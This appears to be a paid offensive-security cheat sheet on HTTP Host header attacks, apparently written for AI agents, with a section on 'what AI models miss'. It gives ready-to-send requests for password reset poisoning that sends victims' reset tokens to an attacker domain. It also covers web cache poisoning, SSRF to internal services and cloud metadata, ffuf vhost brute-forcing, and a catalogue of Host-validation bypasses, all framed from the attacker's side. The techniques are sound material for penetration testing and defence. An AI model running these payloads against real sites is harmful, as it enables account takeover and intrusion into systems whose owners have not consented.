http-host-header-attacks

$27

Usage

Exploitation

URL generation (password reset links, email links)

Inject attacker domain → user clicks link to attacker

Virtual host routing

Spoof Host → access internal/admin vhost

Cache key component

Inject different Host → poison cache for all users

Reverse proxy routing

Host determines backend → SSRF to internal services

Access control decisions

Host-based ACLs can be bypassed

Canonical URL / SEO redirects

Host injection → open redirect

2. PASSWORD RESET POISONING

The most common and impactful Host header attack.

How It Works

1. Attacker requests password reset for victim@target.com

2. Attacker modifies Host header in the reset request:

   POST /forgot-password HTTP/1.1

   Host: attacker.com    ← injected

   email=victim@target.com

3. Server generates reset link using Host header value:

   "Click here to reset: https://attacker.com/reset?token=SECRET_TOKEN"

4. Victim receives email, clicks link → token sent to attacker

5. Attacker uses token on real target.com to reset password

Testing

POST /forgot-password HTTP/1.1

Host: attacker-collaborator.burpcollaborator.net

Content-Type: application/x-www-form-urlencoded

email=victim@target.com

Check Burp Collaborator for incoming HTTP request with the reset token.

Variants

• Some apps concatenate: Host: target.com.attacker.com → link becomes https://target.com.attacker.com/reset?token=xxx

• Some apps use only the port portion: Host: target.com:@attacker.com → parsed as attacker.com in some URL parsers

3. WEB CACHE POISONING VIA HOST

1. Attacker sends:

   GET / HTTP/1.1

   Host: attacker.com

2. If cache keys on URL path but NOT on Host header:

   → Response cached with attacker.com in generated links/content

3. Subsequent users requesting GET / receive the poisoned response

   → Links point to attacker.com, scripts load from attacker.com

Key requirement: Cache must not include Host header in cache key, but application must use Host in response body.

Test by sending two requests with different Host values and checking if the second request returns the first's Host in the response.

4. SSRF VIA HOST ROUTING

When a reverse proxy uses Host header to route to backends:

GET /api/internal HTTP/1.1

Host: internal-admin-panel.local

→ Reverse proxy routes request to internal-admin-panel.local

→ Attacker accesses internal service

Common in:

• Nginx proxy_pass based on $host

• Apache ProxyPass with virtual host routing

• Kubernetes Ingress controllers

• Cloud load balancers

5. VIRTUAL HOST BYPASS

Many servers host multiple applications on the same IP via virtual hosting:

Target:  Host: www.target.com  → public site

Hidden:  Host: admin.target.com → admin panel (not in public DNS)

Hidden:  Host: staging.target.com → staging environment

Hidden:  Host: localhost → server status page

Discovery

1. Brute-force Host header with common vhost names:

   ffuf -u http://TARGET_IP -H "Host: FUZZ.target.com" -w vhosts.txt

2. Try special values:

   Host: localhost

   Host: 127.0.0.1

   Host: admin

   Host: internal

   Host: intranet

3. Compare response size/content to identify different vhosts

6. BYPASS TECHNIQUES WHEN HOST IS VALIDATED

6.1 Override Headers

Many frameworks/proxies trust these headers over the Host header:

Header

Frameworks That Trust It

X-Forwarded-Host

Symfony, Laravel, Django (when USE_X_FORWARDED_HOST=True), Rails (behind proxy)

X-Host

Some custom proxy configurations

X-Original-URL

IIS with URL Rewrite module

X-Rewrite-URL

IIS with URL Rewrite module

Forwarded: host=attacker.com

RFC 7239 compliant proxies

X-Forwarded-Server

Apache mod_proxy

Test all simultaneously:

GET /forgot-password HTTP/1.1

Host: target.com

X-Forwarded-Host: attacker.com

X-Host: attacker.com

X-Original-URL: /forgot-password

Forwarded: host=attacker.com

6.2 Absolute URL in Request Line

GET http://attacker.com/path HTTP/1.1

Host: target.com

Per HTTP/1.1 spec (RFC 7230): if the request line contains an absolute URI, the Host header SHOULD be ignored. Some servers follow this, some don't — the mismatch between proxy and backend creates the vulnerability.

6.3 Double Host Header

GET /path HTTP/1.1

Host: target.com

Host: attacker.com

Behavior varies:

• Some proxies validate first Host, app uses second

• Some servers concatenate: target.com, attacker.com

• RFC says: if both differ, return 400. Most servers don't.

6.4 Host with Port / Credentials

Host: target.com:@attacker.com

Host: target.com:evil.com

Host: target.com#@attacker.com

Host: attacker.com%23@target.com

URL parsers may extract the "host" portion differently when credentials (@) or fragments (#) are present.

6.5 Trailing Dot

Host: target.com.

DNS treats target.com. and target.com identically (trailing dot = FQDN). But Host validation may not strip the trailing dot → target.com. ≠ target.com in string comparison → bypass whitelist.

6.6 Tab / Space Injection

Host: target.com\tattacker.com

Host: target.com attacker.com

Some parsers split on whitespace; the server may use attacker.com portion while validation checks target.com portion.

6.7 Wrap-Around / Enclosed Values

Host: "attacker.com"

Host: <attacker.com>

Quoted or bracketed values may be stripped by the app but not by the validator.

7. FRAMEWORK-SPECIFIC BEHAVIOR

Framework

Host Source

Gotcha

PHP

$_SERVER['HTTP_HOST'] (raw header, directly injectable)

SERVER_NAME is safer only with UseCanonicalName On

Django

HttpRequest.get_host() checks X-Forwarded-Host first (if enabled)

USE_X_FORWARDED_HOST=True bypasses ALLOWED_HOSTS

Rails

request.host from Host header; trusts X-Forwarded-Host behind proxy

Rails 6+ HostAuthorization middleware mitigates

Node/Express

req.hostname / req.headers.host; with trust proxy uses X-Forwarded-Host

No built-in host validation

8. CONNECTION-STATE ATTACKS

A sophisticated variant exploiting HTTP keep-alive:

Connection 1:

  Request 1: GET / HTTP/1.1    ← Valid Host: target.com

              Host: target.com     → Proxy validates, forwards, keeps connection open

  Request 2: GET /admin HTTP/1.1  ← Evil Host on SAME connection

              Host: evil.com       → Some proxies skip validation on subsequent requests

                                     (they validated the connection on first request)

This works against proxies that perform Host validation only on the first request of a keep-alive connection.

Testing

1. Use Burp Repeater with "Connection: keep-alive"

2. Send normal request first

3. On same connection, send request with manipulated Host

4. Check if second request is processed differently

9. HOST HEADER ATTACK DECISION TREE

Application uses Host header in responses/behavior?

│

├── Test direct Host injection

│   ├── Change Host to attacker domain → reflected in response?

│   │   ├── YES → Check impact:

│   │   │   ├── In password reset emails? → PASSWORD RESET POISONING

│   │   │   ├── In cached responses? → WEB CACHE POISONING

│   │   │   ├── In redirects? → OPEN REDIRECT

│   │   │   └── In script/link URLs? → XSS VIA HOST

│   │   └── NO (400/403/different response) → Host is validated

│   │

│   └── Host validated? Try bypasses:

│       ├── X-Forwarded-Host header

│       ├── X-Host / X-Original-URL / Forwarded header

│       ├── Absolute URL in request line

│       ├── Double Host header

│       ├── Host: target.com:@attacker.com (URL parser confusion)

│       ├── Host: target.com. (trailing dot)

│       ├── Tab/space injection in Host value

│       └── Connection-state attack (valid first request, evil second)

│

├── Test virtual host enumeration

│   ├── Brute-force Host values against target IP

│   ├── Try: localhost, admin, staging, internal, intranet

│   └── Compare response sizes for different Host values

│

├── Test SSRF via Host routing

│   ├── Host: 127.0.0.1 → internal service?

│   ├── Host: internal-hostname.local → internal routing?

│   └── Host: 169.254.169.254 → cloud metadata?

│

└── No Host-based behavior found

    └── Check if app uses Host in server-side operations

        (email generation, webhook URLs, API callbacks)

10. TRICK NOTES — WHAT AI MODELS MISS

• Password reset poisoning doesn't require the victim to be logged in — you request the reset, the victim just clicks the link. The token lands on your server.

• X-Forwarded-Host is the #1 missed bypass: Most Host validation checks Host header but frameworks silently prefer X-Forwarded-Host when behind a proxy.

• Double Host header is protocol-valid but behavior-undefined: RFC says reject with 400, but almost no server actually does this. The mismatch between proxy and app is the vulnerability.

• Absolute URI overrides Host per RFC: GET http://evil.com/path HTTP/1.1\nHost: target.com — the spec says use the request-line URI. But not all implementations agree.

• Cache poisoning via Host requires the cache to exclude Host from the key: Most CDNs include Host in the cache key. But custom Varnish/Nginx caches may not. Also test with X-Forwarded-Host as cache key differentiator.

• Connection-state attacks are rarely tested: Automated scanners don't test keep-alive behavior. Manual testing via Burp Repeater's connection reuse is essential.

• DNS rebinding + Host attacks: If you control DNS, point your domain to the target's IP → your domain resolves to their server → Host header says your domain, but request hits their server. Useful for bypassing IP-based access controls.